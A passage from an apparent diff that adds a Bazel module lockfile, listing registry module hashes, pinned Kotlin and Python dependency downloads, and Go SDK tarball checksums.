"cc82bc96f2997baa545ab3ce73f196d040ffb8756fd2d66125a530031cd90e5f", + "https://bcr.bazel.build/modules/rules_python/0.23.1/MODULE.bazel": "49ffccf0511cb8414de28321f5fcf2a31312b47c40cc21577144b7447f2bf300", + "https://bcr.bazel.build/modules/rules_python/0.25.0/MODULE.bazel": "72f1506841c920a1afec76975b35312410eea3aa7b63267436bfb1dd91d2d382", + "https://bcr.bazel.build/modules/rules_python/0.28.0/MODULE.bazel": "cba2573d870babc976664a912539b320cbaa7114cd3e8f053c720171cde331ed", + "https://bcr.bazel.build/modules/rules_python/0.31.0/MODULE.bazel": "93a43dc47ee570e6ec9f5779b2e64c1476a6ce921c48cc9a1678a91dd5f8fd58", + "https://bcr.bazel.build/modules/rules_python/0.33.2/MODULE.bazel": "3e036c4ad8d804a4dad897d333d8dce200d943df4827cb849840055be8d2e937", + "https://bcr.bazel.build/modules/rules_python/0.4.0/MODULE.bazel": "9208ee05fd48bf09ac60ed269791cf17fb343db56c8226a720fbb1cdf467166c", + "https://bcr.bazel.build/modules/rules_python/1.3.0/MODULE.bazel": "8361d57eafb67c09b75bf4bbe6be360e1b8f4f18118ab48037f2bd50aa2ccb13", + "https://bcr.bazel.build/modules/rules_python/1.4.1/MODULE.bazel": "8991ad45bdc25018301d6b7e1d3626afc3c8af8aaf4bc04f23d0b99c938b73a6", + "https://bcr.bazel.build/modules/rules_python/1.6.0/MODULE.bazel": "7e04ad8f8d5bea40451cf80b1bd8262552aa73f841415d20db96b7241bd027d8", + "https://bcr.bazel.build/modules/rules_python/1.7.0/MODULE.bazel": "d01f995ecd137abf30238ad9ce97f8fc3ac57289c8b24bd0bf53324d937a14f8", + "https://bcr.bazel.build/modules/rules_python/1.7.0/source.json": "028a084b65dcf8f4dc4f82f8778dbe65df133f234b316828a82e060d81bdce32", + "https://bcr.bazel.build/modules/rules_shell/0.2.0/MODULE.bazel": "fda8a652ab3c7d8fee214de05e7a9916d8b28082234e8d2c0094505c5268ed3c", + "https://bcr.bazel.build/modules/rules_shell/0.3.0/MODULE.bazel": "de4402cd12f4cc8fda2354fce179fdb068c0b9ca1ec2d2b17b3e21b24c1a937b", + "https://bcr.bazel.build/modules/rules_shell/0.6.1/MODULE.bazel": "72e76b0eea4e81611ef5452aa82b3da34caca0c8b7b5c0c9584338aa93bae26b", + "https://bcr.bazel.build/modules/rules_shell/0.6.1/source.json": "20ec05cd5e592055e214b2da8ccb283c7f2a421ea0dc2acbf1aa792e11c03d0c", + "https://bcr.bazel.build/modules/rules_swift/1.16.0/MODULE.bazel": "4a09f199545a60d09895e8281362b1ff3bb08bbde69c6fc87aff5b92fcc916ca", + "https://bcr.bazel.build/modules/rules_swift/2.1.1/MODULE.bazel": "494900a80f944fc7aa61500c2073d9729dff0b764f0e89b824eb746959bc1046", + "https://bcr.bazel.build/modules/rules_swift/2.4.0/MODULE.bazel": "1639617eb1ede28d774d967a738b4a68b0accb40650beadb57c21846beab5efd", + "https://bcr.bazel.build/modules/rules_swift/3.1.2/MODULE.bazel": "72c8f5cf9d26427cee6c76c8e3853eb46ce6b0412a081b2b6db6e8ad56267400", + "https://bcr.bazel.build/modules/rules_swift/3.1.2/source.json": "e85761f3098a6faf40b8187695e3de6d97944e98abd0d8ce579cb2daf6319a66", + "https://bcr.bazel.build/modules/stardoc/0.5.1/MODULE.bazel": "1a05d92974d0c122f5ccf09291442580317cdd859f07a8655f1db9a60374f9f8", + "https://bcr.bazel.build/modules/stardoc/0.5.3/MODULE.bazel": "c7f6948dae6999bf0db32c1858ae345f112cacf98f174c7a8bb707e41b974f1c", + "https://bcr.bazel.build/modules/stardoc/0.7.0/MODULE.bazel": "05e3d6d30c099b6770e97da986c53bd31844d7f13d41412480ea265ac9e8079c", + "https://bcr.bazel.build/modules/stardoc/0.7.2/MODULE.bazel": "fc152419aa2ea0f51c29583fab1e8c99ddefd5b3778421845606ee628629e0e5", + "https://bcr.bazel.build/modules/stardoc/0.7.2/source.json": "58b029e5e901d6802967754adf0a9056747e8176f017cfe3607c0851f4d42216", + "https://bcr.bazel.build/modules/swift_argument_parser/1.3.1.1/MODULE.bazel": "5e463fbfba7b1701d957555ed45097d7f984211330106ccd1352c6e0af0dcf91", + "https://bcr.bazel.build/modules/swift_argument_parser/1.3.1.2/MODULE.bazel": "75aab2373a4bbe2a1260b9bf2a1ebbdbf872d3bd36f80bff058dccd82e89422f", + "https://bcr.bazel.build/modules/swift_argument_parser/1.3.1.2/source.json": "5fba48bbe0ba48761f9e9f75f92876cafb5d07c0ce059cc7a8027416de94a05b", + "https://bcr.bazel.build/modules/upb/0.0.0-20220923-a547704/MODULE.bazel": "7298990c00040a0e2f121f6c32544bab27d4452f80d9ce51349b1a28f3005c43", + "https://bcr.bazel.build/modules/zlib/1.2.11/MODULE.bazel": "07b389abc85fdbca459b69e2ec656ae5622873af3f845e1c9d80fe179f3effa0", + "https://bcr.bazel.build/modules/zlib/1.2.12/MODULE.bazel": "3b1a8834ada2a883674be8cbd36ede1b6ec481477ada359cd2d3ddc562340b27", + "https://bcr.bazel.build/modules/zlib/1.3.1.bcr.5/MODULE.bazel": "eec517b5bbe5492629466e11dae908d043364302283de25581e3eb944326c4ca", + "https://bcr.bazel.build/modules/zlib/1.3.1.bcr.5/source.json": "22bc55c47af97246cfc093d0acf683a7869377de362b5d1c552c2c2e16b7a806", + "https://bcr.bazel.build/modules/zlib/1.3.1/MODULE.bazel": "751c9940dcfe869f5f7274e1295422a34623555916eb98c174c1e945594bf198" + }, + "selectedYankedVersions": {}, + "moduleExtensions": { + "@@rules_kotlin+//src/main/starlark/core/repositories:bzlmod_setup.bzl%rules_kotlin_extensions": { + "general": { + "bzlTransitiveDigest": "+Kp6j204mBZ3mxlIDDR0gBoP45BZ4jYRhRAcB8sU0qc=", + "usagesDigest": "QI2z8ZUR+mqtbwsf2fLqYdJAkPOHdOV+tF2yVAUgRzw=", + "recordedInputs": [ + "REPO_MAPPING:rules_kotlin+,bazel_tools bazel_tools" + ], + "generatedRepoSpecs": { + "com_github_jetbrains_kotlin_git": { + "repoRuleId": "@@rules_kotlin+//src/main/starlark/core/repositories:compiler.bzl%kotlin_compiler_git_repository", + "attributes": { + "urls": [ + "https://github.com/JetBrains/kotlin/releases/download/v1.9.23/kotlin-compiler-1.9.23.zip" + ], + "sha256": "93137d3aab9afa9b27cb06a824c2324195c6b6f6179d8a8653f440f5bd58be88" + } + }, + "com_github_jetbrains_kotlin": { + "repoRuleId": "@@rules_kotlin+//src/main/starlark/core/repositories:compiler.bzl%kotlin_capabilities_repository", + "attributes": { + "git_repository_name": "com_github_jetbrains_kotlin_git", + "compiler_version": "1.9.23" + } + }, + "com_github_google_ksp": { + "repoRuleId": "@@rules_kotlin+//src/main/starlark/core/repositories:ksp.bzl%ksp_compiler_plugin_repository", + "attributes": { + "urls": [ + "https://github.com/google/ksp/releases/download/1.9.23-1.0.20/artifacts.zip" + ], + "sha256": "ee0618755913ef7fd6511288a232e8fad24838b9af6ea73972a76e81053c8c2d", + "strip_version": "1.9.23-1.0.20" + } + }, + "com_github_pinterest_ktlint": { + "repoRuleId": "@@bazel_tools//tools/build_defs/repo:http.bzl%http_file", + "attributes": { + "sha256": "01b2e0ef893383a50dbeb13970fe7fa3be36ca3e83259e01649945b09d736985", + "urls": [ + "https://github.com/pinterest/ktlint/releases/download/1.3.0/ktlint" + ], + "executable": true + } + }, + "rules_android": { + "repoRuleId": "@@bazel_tools//tools/build_defs/repo:http.bzl%http_archive", + "attributes": { + "sha256": "cd06d15dd8bb59926e4d65f9003bfc20f9da4b2519985c27e190cddc8b7a7806", + "strip_prefix": "rules_android-0.1.1", + "urls": [ + "https://github.com/bazelbuild/rules_android/archive/v0.1.1.zip" + ] + } + } + } + } + }, + "@@rules_python+//python/extensions:config.bzl%config": { + "general": { + "bzlTransitiveDigest": "dzD8Q2YmrP3fz8saWLHPmlwPLO91ImtTmP/c9JKTStM=", + "usagesDigest": "ZVSXMAGpD+xzVNPuvF1IoLBkty7TROO0+akMapt1pAg=", + "recordedInputs": [ + "REPO_MAPPING:rules_python+,bazel_tools bazel_tools", + "REPO_MAPPING:rules_python+,pypi__build rules_python++config+pypi__build", + "REPO_MAPPING:rules_python+,pypi__click rules_python++config+pypi__click", + "REPO_MAPPING:rules_python+,pypi__colorama rules_python++config+pypi__colorama", + "REPO_MAPPING:rules_python+,pypi__importlib_metadata rules_python++config+pypi__importlib_metadata", + "REPO_MAPPING:rules_python+,pypi__installer rules_python++config+pypi__installer", + "REPO_MAPPING:rules_python+,pypi__more_itertools rules_python++config+pypi__more_itertools", + "REPO_MAPPING:rules_python+,pypi__packaging rules_python++config+pypi__packaging", + "REPO_MAPPING:rules_python+,pypi__pep517 rules_python++config+pypi__pep517", + "REPO_MAPPING:rules_python+,pypi__pip rules_python++config+pypi__pip", + "REPO_MAPPING:rules_python+,pypi__pip_tools rules_python++config+pypi__pip_tools", + "REPO_MAPPING:rules_python+,pypi__pyproject_hooks rules_python++config+pypi__pyproject_hooks", + "REPO_MAPPING:rules_python+,pypi__setuptools rules_python++config+pypi__setuptools", + "REPO_MAPPING:rules_python+,pypi__tomli rules_python++config+pypi__tomli", + "REPO_MAPPING:rules_python+,pypi__wheel rules_python++config+pypi__wheel", + "REPO_MAPPING:rules_python+,pypi__zipp rules_python++config+pypi__zipp" + ], + "generatedRepoSpecs": { + "rules_python_internal": { + "repoRuleId": "@@rules_python+//python/private:internal_config_repo.bzl%internal_config_repo", + "attributes": { + "transition_setting_generators": {}, + "transition_settings": [] + } + }, + "pypi__build": { + "repoRuleId": "@@bazel_tools//tools/build_defs/repo:http.bzl%http_archive", + "attributes": { + "url": "https://files.pythonhosted.org/packages/e2/03/f3c8ba0a6b6e30d7d18c40faab90807c9bb5e9a1e3b2fe2008af624a9c97/build-1.2.1-py3-none-any.whl", + "sha256": "75e10f767a433d9a86e50d83f418e83efc18ede923ee5ff7df93b6cb0306c5d4", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:py_library.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude to avoid non-determinism.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/*.pyc.*\", # During pyc creation, temp files named *.pyc.NNN are created\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__click": { + "repoRuleId": "@@bazel_tools//tools/build_defs/repo:http.bzl%http_archive", + "attributes": { + "url": "https://files.pythonhosted.org/packages/00/2e/d53fa4befbf2cfa713304affc7ca780ce4fc1fd8710527771b58311a3229/click-8.1.7-py3-none-any.whl", + "sha256": "ae74fb96c20a0277a1d615f1e4d73c8414f5a98db8b799a7931d1582f3390c28", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:py_library.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude to avoid non-determinism.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/*.pyc.*\", # During pyc creation, temp files named *.pyc.NNN are created\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__colorama": { + "repoRuleId": "@@bazel_tools//tools/build_defs/repo:http.bzl%http_archive", + "attributes": { + "url": "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", + "sha256": "4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:py_library.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude to avoid non-determinism.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/*.pyc.*\", # During pyc creation, temp files named *.pyc.NNN are created\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__importlib_metadata": { + "repoRuleId": "@@bazel_tools//tools/build_defs/repo:http.bzl%http_archive", + "attributes": { + "url": "https://files.pythonhosted.org/packages/2d/0a/679461c511447ffaf176567d5c496d1de27cbe34a87df6677d7171b2fbd4/importlib_metadata-7.1.0-py3-none-any.whl", + "sha256": "30962b96c0c223483ed6cc7280e7f0199feb01a0e40cfae4d4450fc6fab1f570", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:py_library.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude to avoid non-determinism.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/*.pyc.*\", # During pyc creation, temp files named *.pyc.NNN are created\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__installer": { + "repoRuleId": "@@bazel_tools//tools/build_defs/repo:http.bzl%http_archive", + "attributes": { + "url": "https://files.pythonhosted.org/packages/e5/ca/1172b6638d52f2d6caa2dd262ec4c811ba59eee96d54a7701930726bce18/installer-0.7.0-py3-none-any.whl", + "sha256": "05d1933f0a5ba7d8d6296bb6d5018e7c94fa473ceb10cf198a92ccea19c27b53", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:py_library.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude to avoid non-determinism.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/*.pyc.*\", # During pyc creation, temp files named *.pyc.NNN are created\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__more_itertools": { + "repoRuleId": "@@bazel_tools//tools/build_defs/repo:http.bzl%http_archive", + "attributes": { + "url": "https://files.pythonhosted.org/packages/50/e2/8e10e465ee3987bb7c9ab69efb91d867d93959095f4807db102d07995d94/more_itertools-10.2.0-py3-none-any.whl", + "sha256": "686b06abe565edfab151cb8fd385a05651e1fdf8f0a14191e4439283421f8684", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:py_library.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude to avoid non-determinism.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/*.pyc.*\", # During pyc creation, temp files named *.pyc.NNN are created\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__packaging": { + "repoRuleId": "@@bazel_tools//tools/build_defs/repo:http.bzl%http_archive", + "attributes": { + "url": "https://files.pythonhosted.org/packages/49/df/1fceb2f8900f8639e278b056416d49134fb8d84c5942ffaa01ad34782422/packaging-24.0-py3-none-any.whl", + "sha256": "2ddfb553fdf02fb784c234c7ba6ccc288296ceabec964ad2eae3777778130bc5", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:py_library.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude to avoid non-determinism.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/*.pyc.*\", # During pyc creation, temp files named *.pyc.NNN are created\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__pep517": { + "repoRuleId": "@@bazel_tools//tools/build_defs/repo:http.bzl%http_archive", + "attributes": { + "url": "https://files.pythonhosted.org/packages/25/6e/ca4a5434eb0e502210f591b97537d322546e4833dcb4d470a48c375c5540/pep517-0.13.1-py3-none-any.whl", + "sha256": "31b206f67165b3536dd577c5c3f1518e8fbaf38cbc57efff8369a392feff1721", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:py_library.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude to avoid non-determinism.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/*.pyc.*\", # During pyc creation, temp files named *.pyc.NNN are created\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__pip": { + "repoRuleId": "@@bazel_tools//tools/build_defs/repo:http.bzl%http_archive", + "attributes": { + "url": "https://files.pythonhosted.org/packages/8a/6a/19e9fe04fca059ccf770861c7d5721ab4c2aebc539889e97c7977528a53b/pip-24.0-py3-none-any.whl", + "sha256": "ba0d021a166865d2265246961bec0152ff124de910c5cc39f1156ce3fa7c69dc", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:py_library.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude to avoid non-determinism.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/*.pyc.*\", # During pyc creation, temp files named *.pyc.NNN are created\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__pip_tools": { + "repoRuleId": "@@bazel_tools//tools/build_defs/repo:http.bzl%http_archive", + "attributes": { + "url": "https://files.pythonhosted.org/packages/0d/dc/38f4ce065e92c66f058ea7a368a9c5de4e702272b479c0992059f7693941/pip_tools-7.4.1-py3-none-any.whl", + "sha256": "4c690e5fbae2f21e87843e89c26191f0d9454f362d8acdbd695716493ec8b3a9", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:py_library.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude to avoid non-determinism.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/*.pyc.*\", # During pyc creation, temp files named *.pyc.NNN are created\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__pyproject_hooks": { + "repoRuleId": "@@bazel_tools//tools/build_defs/repo:http.bzl%http_archive", + "attributes": { + "url": "https://files.pythonhosted.org/packages/ae/f3/431b9d5fe7d14af7a32340792ef43b8a714e7726f1d7b69cc4e8e7a3f1d7/pyproject_hooks-1.1.0-py3-none-any.whl", + "sha256": "7ceeefe9aec63a1064c18d939bdc3adf2d8aa1988a510afec15151578b232aa2", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:py_library.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude to avoid non-determinism.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/*.pyc.*\", # During pyc creation, temp files named *.pyc.NNN are created\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__setuptools": { + "repoRuleId": "@@bazel_tools//tools/build_defs/repo:http.bzl%http_archive", + "attributes": { + "url": "https://files.pythonhosted.org/packages/90/99/158ad0609729111163fc1f674a5a42f2605371a4cf036d0441070e2f7455/setuptools-78.1.1-py3-none-any.whl", + "sha256": "c3a9c4211ff4c309edb8b8c4f1cbfa7ae324c4ba9f91ff254e3d305b9fd54561", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:py_library.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude to avoid non-determinism.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/*.pyc.*\", # During pyc creation, temp files named *.pyc.NNN are created\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__tomli": { + "repoRuleId": "@@bazel_tools//tools/build_defs/repo:http.bzl%http_archive", + "attributes": { + "url": "https://files.pythonhosted.org/packages/97/75/10a9ebee3fd790d20926a90a2547f0bf78f371b2f13aa822c759680ca7b9/tomli-2.0.1-py3-none-any.whl", + "sha256": "939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:py_library.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude to avoid non-determinism.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/*.pyc.*\", # During pyc creation, temp files named *.pyc.NNN are created\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__wheel": { + "repoRuleId": "@@bazel_tools//tools/build_defs/repo:http.bzl%http_archive", + "attributes": { + "url": "https://files.pythonhosted.org/packages/7d/cd/d7460c9a869b16c3dd4e1e403cce337df165368c71d6af229a74699622ce/wheel-0.43.0-py3-none-any.whl", + "sha256": "55c570405f142630c6b9f72fe09d9b67cf1477fcf543ae5b8dcb1f5b7377da81", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:py_library.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude to avoid non-determinism.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/*.pyc.*\", # During pyc creation, temp files named *.pyc.NNN are created\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__zipp": { + "repoRuleId": "@@bazel_tools//tools/build_defs/repo:http.bzl%http_archive", + "attributes": { + "url": "https://files.pythonhosted.org/packages/da/55/a03fd7240714916507e1fcf7ae355bd9d9ed2e6db492595f1a67f61681be/zipp-3.18.2-py3-none-any.whl", + "sha256": "dce197b859eb796242b0622af1b8beb0a722d52aa2f57133ead08edd5bf5374e", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:py_library.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude to avoid non-determinism.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/*.pyc.*\", # During pyc creation, temp files named *.pyc.NNN are created\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + } + } + } + }, + "@@rules_python+//python/uv:uv.bzl%uv": { + "general": { + "bzlTransitiveDigest": "ijW9KS7qsIY+yBVvJ+Nr1mzwQox09j13DnE3iIwaeTM=", + "usagesDigest": "H8dQoNZcoqP+Mu0tHZTi4KHATzvNkM5ePuEqoQdklIU=", + "recordedInputs": [ + "REPO_MAPPING:rules_python+,bazel_tools bazel_tools", + "REPO_MAPPING:rules_python+,platforms platforms" + ], + "generatedRepoSpecs": { + "uv": { + "repoRuleId": "@@rules_python+//python/uv/private:uv_toolchains_repo.bzl%uv_toolchains_repo", + "attributes": { + "toolchain_type": "'@@rules_python+//python/uv:uv_toolchain_type'", + "toolchain_names": [ + "none" + ], + "toolchain_implementations": { + "none": "'@@rules_python+//python:none'" + }, + "toolchain_compatible_with": { + "none": [ + "@platforms//:incompatible" + ] + }, + "toolchain_target_settings": {} + } + } + } + } + } + }, + "facts": { + "@@rules_go+//go:extensions.bzl%go_sdk": { + "1.25.0": { + "aix_ppc64": [ + "go1.25.0.aix-ppc64.tar.gz", + "e5234a7dac67bc86c528fe9752fc9d63557918627707a733ab4cac1a6faed2d4" + ], + "darwin_amd64": [ + "go1.25.0.darwin-amd64.tar.gz", + "5bd60e823037062c2307c71e8111809865116714d6f6b410597cf5075dfd80ef" + ], + "darwin_arm64": [ + "go1.25.0.darwin-arm64.tar.gz", + "544932844156d8172f7a28f77f2ac9c15a23046698b6243f633b0a0b00c0749c" + ], + "dragonfly_amd64": [ + "go1.25.0.dragonfly-amd64.tar.gz", + "5ed3cf9a810a1483822538674f1336c06b51aa1b94d6d545a1a0319a48177120" + ], + "freebsd_386": [ + "go1.25.0.freebsd-386.tar.gz", + "abea5d5c6697e6b5c224731f2158fe87c602996a2a233ac0c4730cd57bf8374e" + ], + "freebsd_amd64": [ + "go1.25.0.freebsd-amd64.tar.gz", + "86e6fe0a29698d7601c4442052dac48bd58d532c51cccb8f1917df648138730b" + ], + "freebsd_arm": [ + "go1.25.0.freebsd-arm.tar.gz", + "d90b78e41921f72f30e8bbc81d9dec2cff7ff384a33d8d8debb24053e4336bfe" + ], + "freebsd_arm64": [ + "go1.25.0.freebsd-arm64.tar.gz", + "451d0da1affd886bfb291b7c63a6018527b269505db21ce6e14724f22ab0662e" + ], + "freebsd_riscv64": [ + "go1.25.0.freebsd-riscv64.tar.gz", + "7b565f76bd8bda46549eeaaefe0e53b251e644c230577290c0f66b1ecdb3cdbe" + ], + "illumos_amd64": [ + "go1.25.0.illumos-amd64.tar.gz", + "b1e1fdaab1ad25aa1c08d7a36c97d45d74b98b89c3f78c6d2145f77face54a2c" + ], + "linux_386": [ + "go1.25.0.linux-386.tar.gz", + "8c602dd9d99bc9453b3995d20ce4baf382cc50855900a0ece5de9929df4a993a" + ], + "linux_amd64": [ + "go1.25.0.linux-amd64.tar.gz", + "2852af0cb20a13139b3448992e69b868e50ed0f8a1e5940ee1de9e19a123b613" + ], + "linux_arm64": [ + "go1.25.0.linux-arm64.tar.gz", + "05de75d6994a2783699815ee553bd5a9327d8b79991de36e38b66862782f54ae" + ], + "linux_armv6l": [ + "go1.25.0.linux-armv6l.tar.gz", + "a5a8f8198fcf00e1e485b8ecef9ee020778bf32a408a4e8873371bfce458cd09" + ], + "linux_loong64": [ + "go1.25.0.linux-loong64.tar.gz", + "cab86b1cf761b1cb3bac86a8877cfc92e7b036fc0d3084123d77013d61432afc" + ], + "linux_mips": [ + "go1.25.0.linux-mips.tar.gz", + "d66b6fb74c3d91b9829dc95ec10ca1f047ef5e89332152f92e136cf0e2da5be1" + ], + "linux_mips64": [ + "go1.25.0.linux-mips64.tar.gz", + "4082e4381a8661bc2a839ff94ba3daf4f6cde20f8fb771b5b3d4762dc84198a2" + ], + "linux_mips64le": [ + "go1.25.0.linux-mips64le.tar.gz", + "70002c299ec7f7175ac2ef673b1b347eecfa54ae11f34416a6053c17f855afcc" + ], + "linux_mipsle": [ + "go1.25.0.linux-mipsle.tar.gz", + "b00a3a39eff099f6df9f1c7355bf28e4589d0586f42d7d4a394efb763d145a73" + ], + "linux_ppc64": [ + "go1.25.0.linux-ppc64.tar.gz", + "df166f33bd98160662560a72ff0b4ba731f969a80f088922bddcf566a88c1ec1" + ], + "linux_ppc64le": [ + "go1.25.0.linux-ppc64le.tar.gz", + "0f18a89e7576cf2c5fa0b487a1635d9bcbf843df5f110e9982c64df52a983ad0" + ], + "linux_riscv64": [ + "go1.25.0.linux-riscv64.tar.gz", + "c018ff74a2c48d55c8ca9b07c8e24163558ffec8bea08b326d6336905d956b67" + ], + "linux_s390x": [ + 